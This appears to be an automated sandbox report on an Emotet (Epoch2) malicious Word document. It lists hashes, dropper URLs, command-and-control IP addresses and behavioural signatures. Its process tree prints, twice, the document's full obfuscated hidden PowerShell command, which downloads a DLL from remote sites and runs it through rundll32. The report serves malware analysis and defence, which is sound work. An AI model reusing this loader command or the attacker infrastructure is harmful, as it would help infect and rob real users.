Overview

overview

10

Static

static

8

emotet_e2_...oc.doc

windows7_x64

10

emotet_e2_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    136s
  • max time network
    136s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    22/12/2020, 08:27

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e2_e18f34fd2b761c5ff699a3bb1e6bf4fa2f9d43f91cfc0ff44794e8ae7e4ae926_2020-12-22__082454907064._doc.doc
  • Size 200KB
  • Sample201222-5fp366qtsj
  • SHA256 e18f34fd2b761c5ff699a3bb1e6bf4fa2f9d43f91cfc0ff44794e8ae7e4ae926
  • MD5 SHA1 SHA512
Score
10/10
emotetepoch2bankertrojan

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://countsquare.com/standardservices/mnR4/
  • exe.dropper

    https://heaventoearth.com/360views/xu/
  • exe.dropper

    http://jpkiselavoda.mk/advertising/Pl1SS/
  • exe.dropper

    http://infosisconsultancy.com/wp-includes/d60/
  • exe.dropper

    https://genzmag.com/ratings/VQ8n/
  • exe.dropper

    https://qualcommmedia.com/wp-includes-old/m4/
  • exe.dropper

    http://ko-racingshop.com/account-eu/Y6W/

Extracted

Family

  • emotet

Botnet

  • Epoch2

C2

  • 197.87.160.216:80

  • 78.188.225.105:80

  • 50.116.111.59:8080

  • 173.249.20.233:443

  • 188.165.214.98:8080

  • 188.219.31.12:80

  • 157.245.99.39:8080

  • 172.125.40.123:80

  • 62.30.7.67:443

  • 120.150.60.189:80

  • 109.74.5.95:8080

  • 67.10.155.92:80

  • 67.170.250.203:443

  • 2.58.16.89:8080

  • 186.74.215.34:80

  • 202.141.243.254:443

  • 118.83.154.64:443

  • 172.86.188.251:8080

  • 37.187.72.193:8080

  • 87.106.139.101:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_e18f34fd2b761c5ff699a3bb1e6bf4fa2f9d43f91cfc0ff44794e8ae7e4ae926_2020-12-22__082454907064._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1144
  • C:\Windows\system32\cmd.exe
    cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAkADYAagBwADkAIAAgAD0AWwBUAHkAcABFAF0AKAAiAHsAMwB9AHsAMQB9AHsAMgB9AHsANAB9AHsAMAB9ACIAIAAtAGYAIAAnAEMAVABPAFIAeQAnACwAJwBlAE0AJwAsACcALgBJAE8ALgBEAEkAcgAnACwAJwBTAHkAcwB0ACcALAAnAEUAJwApACAAIAA7ACAAUwBlAHQALQBpAFQAZQBtACAAIABWAGEAcgBpAGEAYgBMAGUAOgA5ADMANgAgACgAIAAgAFsAVAB5AFAARQBdACgAIgB7ADIAfQB7ADEAfQB7ADAAfQB7ADQAfQB7ADMAfQAiACAALQBGACcAZQBNAC4ATgBFAHQALgBzACcALAAnAHkAUwB0ACcALAAnAFMAJwAsACcAcgBWAGkAQwBlAHAAbwBJAE4AVABtAEEATgBhAEcARQBSACcALAAnAEUAJwApACkAOwAgACQATQBzAGYAOQBqAHkAaQA9ACgAKAAnAEoAJwArACcANAB0AGMAJwApACsAJwBhAGEAJwArACcAagAnACkAOwAkAEQAbAB1ADMAaQB6AGcAPQAkAFgANgByAHIAMAA0ADcAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEcANABiADkANQBjAGEAOwAkAFkAMgBrADEAdABqADIAPQAoACgAJwBaACcAKwAnADgAMgAnACkAKwAnAG0AJwArACgAJwBnACcAKwAnADgAMwAnACkAKQA7ACAAIAAkADYASgBwADkAOgA6ACIAQwByAGAAZQBhAFQARQBgAGQASQByAEUAYwBgAFQAbwByAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ACcAKwAnADAAfQBBAGgANABmAGYAMQAnACsAJwBfAHsAMAB9ACcAKwAoACcASwAnACsAJwB2AG8AJwApACsAKAAnAGoAYwAnACsAJwA4ACcAKQArACcAbwB7ADAAJwArACcAfQAnACkAIAAgAC0AZgAgAFsAYwBIAEEAcgBdADkAMgApACkAOwAkAEkAdwBtAGkAcAA4ADYAPQAoACgAJwBRACcAKwAnAHcAMQByACcAKQArACgAJwB4AGsAJwArACcAYwAnACkAKQA7ACAAIAAoACAAZwBlAFQALQBJAFQARQBtACAAdgBBAHIAaQBhAGIAbABFADoAOQAzADYAIAAgACkALgBWAEEATABVAGUAOgA6ACIAcwBFAGAAYwBVAFIASQB0AGAAWQBwAHIAYABPAFQATwBjAE8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVABsAGYAagAxAHQAagA9ACgAJwBDACcAKwAnAGUAJwArACgAJwB0ACcAKwAnAGIAYgB0AG4AJwApACkAOwAkAEcAaAB2AHEAdABpAGwAIAA9ACAAKAAoACcAQQB4ACcAKwAnAHcAJwApACsAJwBpACcAKwAoACcAMgA0ACcAKwAnADQAJwApACkAOwAkAFcAdwBkADkAdQBqADEAPQAoACgAJwBXAHEAJwArACcAdgA3ACcAKQArACgAJwAyACcAKwAnAHMAegAnACkAKQA7ACQASgB6AGUAbABvADQAeAA9ACgAKAAnAEcAJwArACcAbgBxAF8AJwApACsAJwB6ACcAKwAnADUAdgAnACkAOwAkAE0AZAA1AHMAegAzADkAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAfQAnACsAKAAnAEEAaAA0ACcAKwAnAGYAJwApACsAJwBmADEAXwB7ACcAKwAnADAAfQBLAHYAbwBqAGMAOABvACcAKwAnAHsAMAAnACsAJwB9ACcAKQAgAC0ARgBbAEMASABhAHIAXQA5ADIAKQArACQARwBoAHYAcQB0AGkAbAArACgAJwAuACcAKwAoACcAZABsACcAKwAnAGwAJwApACkAOwAkAE4AZQBvAGUAcQBsAGUAPQAoACcASwAnACsAKAAnADUAZwAnACsAJwB3ADkAJwApACsAJwBzAHYAJwApADsAJABJAGgAYwA3AG0AOABwAD0AbgBFAGAAVwBgAC0AbwBCAGoAYABlAGAAYwB0ACAATgBlAFQALgB3AGUAYgBDAGwAaQBlAG4AdAA7ACQAUABxAHMAcABmADUAZQA9ACgAKAAoACcAaAB0ACcAKwAnAHQAJwApACsAJwBwADoAJwArACgAKAAnAHEAcQApACcAKwAnACgAcwAnACkAKQArACgAKAAnADIAKQAnACsAJwAoAHEAcQApACcAKwAnACgAcwAnACkAKQArACgAKAAnADIAJwArACcAKQAoAGMAbwB1ACcAKQApACsAJwBuACcAKwAnAHQAcwAnACsAJwBxAHUAJwArACgAJwBhACcAKwAnAHIAZQAnACkAKwAoACgAJwAuAGMAJwArACcAbwBtAHEAJwArACcAcQApACgAJwApACkAKwAoACgAJwBzADIAKQAoACcAKwAnAHMAdABhACcAKQApACsAKAAnAG4AZABhAHIAJwArACcAZAAnACkAKwAoACcAcwBlAHIAdgAnACsAJwBpAGMAJwApACsAKAAoACcAZQBzAHEAcQAnACsAJwApACcAKwAnACgAcwAyACcAKwAnACkAKABtACcAKwAnAG4AUgAnACsAJwA0ACcAKwAnAHEAcQApACgAcwAnACsAJwAyACkAKABAAGgAdAB0ACcAKwAnAHAAJwApACkAKwAnAHMAJwArACcAOgAnACsAKAAoACcAcQAnACsAJwBxACkAJwApACkAKwAoACgAJwAoAHMAMgAnACsAJwApACgAJwApACkAKwAoACgAJwBxAHEAKQAoAHMAJwArACcAMgAnACsAJwApACcAKwAnACgAaABlACcAKQApACsAKAAnAGEAdgBlAG4AdAAnACsAJwBvAGUAYQAnACkAKwAoACgAJwByACcAKwAnAHQAaAAuACcAKwAnAGMAJwArACcAbwBtAHEAcQApACgAcwAyACcAKwAnACkAKAAzACcAKQApACsAJwA2ADAAJwArACgAKAAnAHYAaQBlAHcAcwAnACsAJwBxAHEAKQAoAHMAMgAnACsAJwApACcAKQApACsAKAAoACcAKAB4AHUAcQBxACkAKAAnACsAJwBzADIAJwArACcAKQAoAEAAJwArACcAaAB0ACcAKQApACsAKAAoACcAdABwACcAKwAnADoAcQAnACsAJwBxACkAKABzADIAJwArACcAKQAoAHEAJwApACkAKwAoACgAJwBxACcAKwAnACkAJwArACcAKABzADIAKQAnACkAKQArACgAKAAnACgAagBwAGsAaQBzAGUAJwArACcAbAAnACkAKQArACgAJwBhAHYAbwBkACcAKwAnAGEAJwArACcALgBtAGsAcQBxACcAKQArACcAKQAnACsAKAAoACcAKABzADIAKQAoAGEAJwArACcAZAB2ACcAKQApACsAKAAnAGUAJwArACcAcgB0ACcAKQArACcAaQBzACcAKwAoACgAJwBpAG4AZwBxAHEAKQAoACcAKwAnAHMAMgAnACsAJwApACgAJwArACcAUAAnACsAJwBsADEAJwArACcAUwBTAHEAcQApACgAcwAyACkAKABAAGgAJwArACcAdAAnACkAKQArACgAJwB0AHAAOgAnACsAJwBxACcAKQArACgAKAAnAHEAKQAnACsAJwAoACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAJwArACcAKABxACcAKQApACsAKAAoACcAcQApACcAKwAnACgAcwAnACsAJwAyACkAKAAnACsAJwBpAG4AZgAnACkAKQArACcAbwBzACcAKwAoACcAaQBzAGMAbwBuAHMAJwArACcAdQBsACcAKQArACgAJwB0AGEAJwArACcAbgBjACcAKQArACcAeQAnACsAJwAuAGMAJwArACgAKAAnAG8AbQBxAHEAKQAoACcAKwAnAHMAMgApACgAdwAnACsAJwBwACcAKQApACsAKAAoACcALQBpAG4AJwArACcAYwAnACsAJwBsAHUAZAAnACsAJwBlAHMAcQBxACkAJwApACkAKwAnACgAJwArACcAcwAnACsAKAAoACcAMgAnACsAJwApACgAZAA2ADAAcQBxACkAKAAnACsAJwBzADIAKQAoACcAKQApACsAKAAnAEAAaAB0AHQAcAAnACsAJwBzACcAKwAnADoAcQAnACkAKwAoACgAJwBxACkAJwApACkAKwAoACgAJwAoACcAKwAnAHMAMgApACgAcQAnACkAKQArACgAKAAnAHEAKQAnACsAJwAoAHMAMgAnACsAJwApACgAJwApACkAKwAoACcAZwAnACsAJwBlAG4AJwApACsAKAAnAHoAbQAnACsAJwBhAGcAJwApACsAJwAuACcAKwAoACgAJwBjAG8AJwArACcAbQBxAHEAKQAoAHMAJwArACcAMgApACgAcgBhAHQAJwArACcAaQBuACcAKQApACsAKAAoACcAZwBzAHEAcQAnACsAJwApACgAJwArACcAcwAyACkAJwApACkAKwAoACgAJwAoAFYAJwApACkAKwAoACcAUQA4ACcAKwAnAG4AcQBxACcAKQArACgAKAAnACkAJwArACcAKABzACcAKQApACsAKAAoACcAMgApACcAKwAnACgAQABoACcAKwAnAHQAdABwAHMAJwApACkAKwAoACgAJwA6AHEAJwArACcAcQApACgAcwAnACsAJwAyACcAKQApACsAKAAoACcAKQAoAHEAJwArACcAcQAnACkAKQArACgAKAAnACkAJwArACcAKABzADIAKQAnACkAKQArACcAKAAnACsAJwBxACcAKwAoACcAdQBhACcAKwAnAGwAYwBvAG0AJwArACcAbQBtAGUAJwArACcAZABpAGEALgBjACcAKQArACcAbwAnACsAKAAoACcAbQBxAHEAJwArACcAKQAnACsAJwAoAHMAMgApACgAJwArACcAdwBwACcAKQApACsAJwAtAGkAJwArACcAbgAnACsAKAAnAGMAbAB1ACcAKwAnAGQAZQBzAC0AbwBsAGQAJwArACcAcQAnACkAKwAoACgAJwBxACkAKAAnACsAJwBzACcAKQApACsAKAAoACcAMgApACcAKwAnACgAJwApACkAKwAoACgAJwBtADQAcQBxACcAKwAnACkAJwApACkAKwAoACgAJwAoAHMAJwArACcAMgAnACkAKQArACgAKAAnACkAJwArACcAKABAACcAKQApACsAKAAnAGgAJwArACcAdAB0ACcAKwAnAHAAOgBxACcAKQArACgAKAAnAHEAKQAnACsAJwAoAHMAJwApACkAKwAnADIAJwArACgAKAAnACkAKAAnACsAJwBxAHEAKQAoAHMAMgApACgAJwArACcAawBvAC0AJwApACkAKwAoACcAcgBhACcAKwAnAGMAJwApACsAKAAnAGkAbgAnACsAJwBnAHMAJwApACsAJwBoAG8AJwArACcAcAAnACsAKAAnAC4AYwAnACsAJwBvAG0AcQAnACkAKwAoACgAJwBxACkAKABzADIAKQAoACcAKwAnAGEAJwArACcAYwAnACkAKQArACcAYwAnACsAKAAoACcAbwAnACsAJwB1AG4AJwArACcAdAAtAGUAdQBxAHEAKQAnACkAKQArACgAKAAnACgAJwArACcAcwAyACkAKAAnACkAKQArACgAJwBZADYAJwArACcAVwBxACcAKQArACcAcQAnACsAKAAoACcAKQAoAHMAMgAnACsAJwApACgAJwApACkAKQApAC4AIgBSAGAARQBQAGwAYABBAGMARQAiACgAKAAoACgAKAAnAHEAJwArACcAcQApACgAJwApACkAKwAoACgAJwBzACcAKwAnADIAKQAnACkAKQArACcAKAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAaAAnACsAJwB3AGUAJwApACkAWwAwAF0AKQAuACIAcwBQAGAATABpAFQAIgAoACQAWQA0ADYAYgB6AHMAeAAgACsAIAAkAEQAbAB1ADMAaQB6AGcAIAArACAAJABZAF8AegBnADUAMgBhACkAOwAkAFcAdwBtAHgAZQB1AG0APQAoACcATwAnACsAKAAnAGsAOAAnACsAJwB1ACcAKQArACgAJwB3ACcAKwAnAGEAZwAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARAB6ADcAeQBvAHUANAAgAGkAbgAgACQAUABxAHMAcABmADUAZQAgAHwAIABTAG8AcgB0AGAALQBgAE8AYABCAEoAYABlAEMAdAAgAHsARwBgAGUAdAAtAHIAYQBuAGQAYABvAG0AfQApAHsAdAByAHkAewAkAEkAaABjADcAbQA4AHAALgAiAEQAbwBXAGAATgBgAGwATwBBAGQARgBpAEwAZQAiACgAJABEAHoANwB5AG8AdQA0ACwAIAAkAE0AZAA1AHMAegAzADkAKQA7ACQAVQA4AGIANwBfAHQAagA9ACgAKAAnAE0AJwArACcAbABmAHIAdwAnACsAJwAwACcAKQArACcAYQAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQATQBkADUAcwB6ADMAOQApAC4AIgBsAGAAZQBOAGcAdABIACIAIAAtAGcAZQAgADQAMwAyADkAMwApACAAewAmACgAJwByAHUAJwArACcAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABNAGQANQBzAHoAMwA5ACwAJwAjADEAJwAuACIAVABgAE8AcwBUAGAAUgBJAE4AZwAiACgAKQA7ACQARQAzAGwAZgAwAHAAbwA9ACgAJwBVACcAKwAoACcAcwAnACsAJwBwAHYAYwBxADkAJwApACkAOwBiAHIAZQBhAGsAOwAkAFoAbgA4AHoAZgBiAGwAPQAoACgAJwBJAGUAJwArACcANAAnACkAKwAoACcAbwA3AHEAJwArACcAdwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwAxAHEAagA2AHYANQA9ACgAKAAnAFEAcAAnACsAJwBnAGIANgAnACkAKwAnAHEAcAAnACkA
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:2312
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:2688
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POwersheLL -w hidden -ENCOD IAAkADYAagBwADkAIAAgAD0AWwBUAHkAcABFAF0AKAAiAHsAMwB9AHsAMQB9AHsAMgB9AHsANAB9AHsAMAB9ACIAIAAtAGYAIAAnAEMAVABPAFIAeQAnACwAJwBlAE0AJwAsACcALgBJAE8ALgBEAEkAcgAnACwAJwBTAHkAcwB0ACcALAAnAEUAJwApACAAIAA7ACAAUwBlAHQALQBpAFQAZQBtACAAIABWAGEAcgBpAGEAYgBMAGUAOgA5ADMANgAgACgAIAAgAFsAVAB5AFAARQBdACgAIgB7ADIAfQB7ADEAfQB7ADAAfQB7ADQAfQB7ADMAfQAiACAALQBGACcAZQBNAC4ATgBFAHQALgBzACcALAAnAHkAUwB0ACcALAAnAFMAJwAsACcAcgBWAGkAQwBlAHAAbwBJAE4AVABtAEEATgBhAEcARQBSACcALAAnAEUAJwApACkAOwAgACQATQBzAGYAOQBqAHkAaQA9ACgAKAAnAEoAJwArACcANAB0AGMAJwApACsAJwBhAGEAJwArACcAagAnACkAOwAkAEQAbAB1ADMAaQB6AGcAPQAkAFgANgByAHIAMAA0ADcAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEcANABiADkANQBjAGEAOwAkAFkAMgBrADEAdABqADIAPQAoACgAJwBaACcAKwAnADgAMgAnACkAKwAnAG0AJwArACgAJwBnACcAKwAnADgAMwAnACkAKQA7ACAAIAAkADYASgBwADkAOgA6ACIAQwByAGAAZQBhAFQARQBgAGQASQByAEUAYwBgAFQAbwByAHkAIgAoACQASABPAE0ARQAgACsAIAAoACgAJwB7ACcAKwAnADAAfQBBAGgANABmAGYAMQAnACsAJwBfAHsAMAB9ACcAKwAoACcASwAnACsAJwB2AG8AJwApACsAKAAnAGoAYwAnACsAJwA4ACcAKQArACcAbwB7ADAAJwArACcAfQAnACkAIAAgAC0AZgAgAFsAYwBIAEEAcgBdADkAMgApACkAOwAkAEkAdwBtAGkAcAA4ADYAPQAoACgAJwBRACcAKwAnAHcAMQByACcAKQArACgAJwB4AGsAJwArACcAYwAnACkAKQA7ACAAIAAoACAAZwBlAFQALQBJAFQARQBtACAAdgBBAHIAaQBhAGIAbABFADoAOQAzADYAIAAgACkALgBWAEEATABVAGUAOgA6ACIAcwBFAGAAYwBVAFIASQB0AGAAWQBwAHIAYABPAFQATwBjAE8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVABsAGYAagAxAHQAagA9ACgAJwBDACcAKwAnAGUAJwArACgAJwB0ACcAKwAnAGIAYgB0AG4AJwApACkAOwAkAEcAaAB2AHEAdABpAGwAIAA9ACAAKAAoACcAQQB4ACcAKwAnAHcAJwApACsAJwBpACcAKwAoACcAMgA0ACcAKwAnADQAJwApACkAOwAkAFcAdwBkADkAdQBqADEAPQAoACgAJwBXAHEAJwArACcAdgA3ACcAKQArACgAJwAyACcAKwAnAHMAegAnACkAKQA7ACQASgB6AGUAbABvADQAeAA9ACgAKAAnAEcAJwArACcAbgBxAF8AJwApACsAJwB6ACcAKwAnADUAdgAnACkAOwAkAE0AZAA1AHMAegAzADkAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAfQAnACsAKAAnAEEAaAA0ACcAKwAnAGYAJwApACsAJwBmADEAXwB7ACcAKwAnADAAfQBLAHYAbwBqAGMAOABvACcAKwAnAHsAMAAnACsAJwB9ACcAKQAgAC0ARgBbAEMASABhAHIAXQA5ADIAKQArACQARwBoAHYAcQB0AGkAbAArACgAJwAuACcAKwAoACcAZABsACcAKwAnAGwAJwApACkAOwAkAE4AZQBvAGUAcQBsAGUAPQAoACcASwAnACsAKAAnADUAZwAnACsAJwB3ADkAJwApACsAJwBzAHYAJwApADsAJABJAGgAYwA3AG0AOABwAD0AbgBFAGAAVwBgAC0AbwBCAGoAYABlAGAAYwB0ACAATgBlAFQALgB3AGUAYgBDAGwAaQBlAG4AdAA7ACQAUABxAHMAcABmADUAZQA9ACgAKAAoACcAaAB0ACcAKwAnAHQAJwApACsAJwBwADoAJwArACgAKAAnAHEAcQApACcAKwAnACgAcwAnACkAKQArACgAKAAnADIAKQAnACsAJwAoAHEAcQApACcAKwAnACgAcwAnACkAKQArACgAKAAnADIAJwArACcAKQAoAGMAbwB1ACcAKQApACsAJwBuACcAKwAnAHQAcwAnACsAJwBxAHUAJwArACgAJwBhACcAKwAnAHIAZQAnACkAKwAoACgAJwAuAGMAJwArACcAbwBtAHEAJwArACcAcQApACgAJwApACkAKwAoACgAJwBzADIAKQAoACcAKwAnAHMAdABhACcAKQApACsAKAAnAG4AZABhAHIAJwArACcAZAAnACkAKwAoACcAcwBlAHIAdgAnACsAJwBpAGMAJwApACsAKAAoACcAZQBzAHEAcQAnACsAJwApACcAKwAnACgAcwAyACcAKwAnACkAKABtACcAKwAnAG4AUgAnACsAJwA0ACcAKwAnAHEAcQApACgAcwAnACsAJwAyACkAKABAAGgAdAB0ACcAKwAnAHAAJwApACkAKwAnAHMAJwArACcAOgAnACsAKAAoACcAcQAnACsAJwBxACkAJwApACkAKwAoACgAJwAoAHMAMgAnACsAJwApACgAJwApACkAKwAoACgAJwBxAHEAKQAoAHMAJwArACcAMgAnACsAJwApACcAKwAnACgAaABlACcAKQApACsAKAAnAGEAdgBlAG4AdAAnACsAJwBvAGUAYQAnACkAKwAoACgAJwByACcAKwAnAHQAaAAuACcAKwAnAGMAJwArACcAbwBtAHEAcQApACgAcwAyACcAKwAnACkAKAAzACcAKQApACsAJwA2ADAAJwArACgAKAAnAHYAaQBlAHcAcwAnACsAJwBxAHEAKQAoAHMAMgAnACsAJwApACcAKQApACsAKAAoACcAKAB4AHUAcQBxACkAKAAnACsAJwBzADIAJwArACcAKQAoAEAAJwArACcAaAB0ACcAKQApACsAKAAoACcAdABwACcAKwAnADoAcQAnACsAJwBxACkAKABzADIAJwArACcAKQAoAHEAJwApACkAKwAoACgAJwBxACcAKwAnACkAJwArACcAKABzADIAKQAnACkAKQArACgAKAAnACgAagBwAGsAaQBzAGUAJwArACcAbAAnACkAKQArACgAJwBhAHYAbwBkACcAKwAnAGEAJwArACcALgBtAGsAcQBxACcAKQArACcAKQAnACsAKAAoACcAKABzADIAKQAoAGEAJwArACcAZAB2ACcAKQApACsAKAAnAGUAJwArACcAcgB0ACcAKQArACcAaQBzACcAKwAoACgAJwBpAG4AZwBxAHEAKQAoACcAKwAnAHMAMgAnACsAJwApACgAJwArACcAUAAnACsAJwBsADEAJwArACcAUwBTAHEAcQApACgAcwAyACkAKABAAGgAJwArACcAdAAnACkAKQArACgAJwB0AHAAOgAnACsAJwBxACcAKQArACgAKAAnAHEAKQAnACsAJwAoACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAJwArACcAKABxACcAKQApACsAKAAoACcAcQApACcAKwAnACgAcwAnACsAJwAyACkAKAAnACsAJwBpAG4AZgAnACkAKQArACcAbwBzACcAKwAoACcAaQBzAGMAbwBuAHMAJwArACcAdQBsACcAKQArACgAJwB0AGEAJwArACcAbgBjACcAKQArACcAeQAnACsAJwAuAGMAJwArACgAKAAnAG8AbQBxAHEAKQAoACcAKwAnAHMAMgApACgAdwAnACsAJwBwACcAKQApACsAKAAoACcALQBpAG4AJwArACcAYwAnACsAJwBsAHUAZAAnACsAJwBlAHMAcQBxACkAJwApACkAKwAnACgAJwArACcAcwAnACsAKAAoACcAMgAnACsAJwApACgAZAA2ADAAcQBxACkAKAAnACsAJwBzADIAKQAoACcAKQApACsAKAAnAEAAaAB0AHQAcAAnACsAJwBzACcAKwAnADoAcQAnACkAKwAoACgAJwBxACkAJwApACkAKwAoACgAJwAoACcAKwAnAHMAMgApACgAcQAnACkAKQArACgAKAAnAHEAKQAnACsAJwAoAHMAMgAnACsAJwApACgAJwApACkAKwAoACcAZwAnACsAJwBlAG4AJwApACsAKAAnAHoAbQAnACsAJwBhAGcAJwApACsAJwAuACcAKwAoACgAJwBjAG8AJwArACcAbQBxAHEAKQAoAHMAJwArACcAMgApACgAcgBhAHQAJwArACcAaQBuACcAKQApACsAKAAoACcAZwBzAHEAcQAnACsAJwApACgAJwArACcAcwAyACkAJwApACkAKwAoACgAJwAoAFYAJwApACkAKwAoACcAUQA4ACcAKwAnAG4AcQBxACcAKQArACgAKAAnACkAJwArACcAKABzACcAKQApACsAKAAoACcAMgApACcAKwAnACgAQABoACcAKwAnAHQAdABwAHMAJwApACkAKwAoACgAJwA6AHEAJwArACcAcQApACgAcwAnACsAJwAyACcAKQApACsAKAAoACcAKQAoAHEAJwArACcAcQAnACkAKQArACgAKAAnACkAJwArACcAKABzADIAKQAnACkAKQArACcAKAAnACsAJwBxACcAKwAoACcAdQBhACcAKwAnAGwAYwBvAG0AJwArACcAbQBtAGUAJwArACcAZABpAGEALgBjACcAKQArACcAbwAnACsAKAAoACcAbQBxAHEAJwArACcAKQAnACsAJwAoAHMAMgApACgAJwArACcAdwBwACcAKQApACsAJwAtAGkAJwArACcAbgAnACsAKAAnAGMAbAB1ACcAKwAnAGQAZQBzAC0AbwBsAGQAJwArACcAcQAnACkAKwAoACgAJwBxACkAKAAnACsAJwBzACcAKQApACsAKAAoACcAMgApACcAKwAnACgAJwApACkAKwAoACgAJwBtADQAcQBxACcAKwAnACkAJwApACkAKwAoACgAJwAoAHMAJwArACcAMgAnACkAKQArACgAKAAnACkAJwArACcAKABAACcAKQApACsAKAAnAGgAJwArACcAdAB0ACcAKwAnAHAAOgBxACcAKQArACgAKAAnAHEAKQAnACsAJwAoAHMAJwApACkAKwAnADIAJwArACgAKAAnACkAKAAnACsAJwBxAHEAKQAoAHMAMgApACgAJwArACcAawBvAC0AJwApACkAKwAoACcAcgBhACcAKwAnAGMAJwApACsAKAAnAGkAbgAnACsAJwBnAHMAJwApACsAJwBoAG8AJwArACcAcAAnACsAKAAnAC4AYwAnACsAJwBvAG0AcQAnACkAKwAoACgAJwBxACkAKABzADIAKQAoACcAKwAnAGEAJwArACcAYwAnACkAKQArACcAYwAnACsAKAAoACcAbwAnACsAJwB1AG4AJwArACcAdAAtAGUAdQBxAHEAKQAnACkAKQArACgAKAAnACgAJwArACcAcwAyACkAKAAnACkAKQArACgAJwBZADYAJwArACcAVwBxACcAKQArACcAcQAnACsAKAAoACcAKQAoAHMAMgAnACsAJwApACgAJwApACkAKQApAC4AIgBSAGAARQBQAGwAYABBAGMARQAiACgAKAAoACgAKAAnAHEAJwArACcAcQApACgAJwApACkAKwAoACgAJwBzACcAKwAnADIAKQAnACkAKQArACcAKAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAaAAnACsAJwB3AGUAJwApACkAWwAwAF0AKQAuACIAcwBQAGAATABpAFQAIgAoACQAWQA0ADYAYgB6AHMAeAAgACsAIAAkAEQAbAB1ADMAaQB6AGcAIAArACAAJABZAF8AegBnADUAMgBhACkAOwAkAFcAdwBtAHgAZQB1AG0APQAoACcATwAnACsAKAAnAGsAOAAnACsAJwB1ACcAKQArACgAJwB3ACcAKwAnAGEAZwAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARAB6ADcAeQBvAHUANAAgAGkAbgAgACQAUABxAHMAcABmADUAZQAgAHwAIABTAG8AcgB0AGAALQBgAE8AYABCAEoAYABlAEMAdAAgAHsARwBgAGUAdAAtAHIAYQBuAGQAYABvAG0AfQApAHsAdAByAHkAewAkAEkAaABjADcAbQA4AHAALgAiAEQAbwBXAGAATgBgAGwATwBBAGQARgBpAEwAZQAiACgAJABEAHoANwB5AG8AdQA0ACwAIAAkAE0AZAA1AHMAegAzADkAKQA7ACQAVQA4AGIANwBfAHQAagA9ACgAKAAnAE0AJwArACcAbABmAHIAdwAnACsAJwAwACcAKQArACcAYQAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQATQBkADUAcwB6ADMAOQApAC4AIgBsAGAAZQBOAGcAdABIACIAIAAtAGcAZQAgADQAMwAyADkAMwApACAAewAmACgAJwByAHUAJwArACcAbgBkAGwAbAAnACsAJwAzADIAJwApACAAJABNAGQANQBzAHoAMwA5ACwAJwAjADEAJwAuACIAVABgAE8AcwBUAGAAUgBJAE4AZwAiACgAKQA7ACQARQAzAGwAZgAwAHAAbwA9ACgAJwBVACcAKwAoACcAcwAnACsAJwBwAHYAYwBxADkAJwApACkAOwBiAHIAZQBhAGsAOwAkAFoAbgA4AHoAZgBiAGwAPQAoACgAJwBJAGUAJwArACcANAAnACkAKwAoACcAbwA3AHEAJwArACcAdwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwAxAHEAagA2AHYANQA9ACgAKAAnAFEAcAAnACsAJwBnAGIANgAnACkAKwAnAHEAcAAnACkA
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:860
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Ah4ff1_\Kvojc8o\Axwi244.dll,#1
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2688
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Ah4ff1_\Kvojc8o\Axwi244.dll,#1
            4⤵
            • Loads dropped DLL
            • Drops file in System32 directory
            • Suspicious use of WriteProcessMemory
            PID:1900
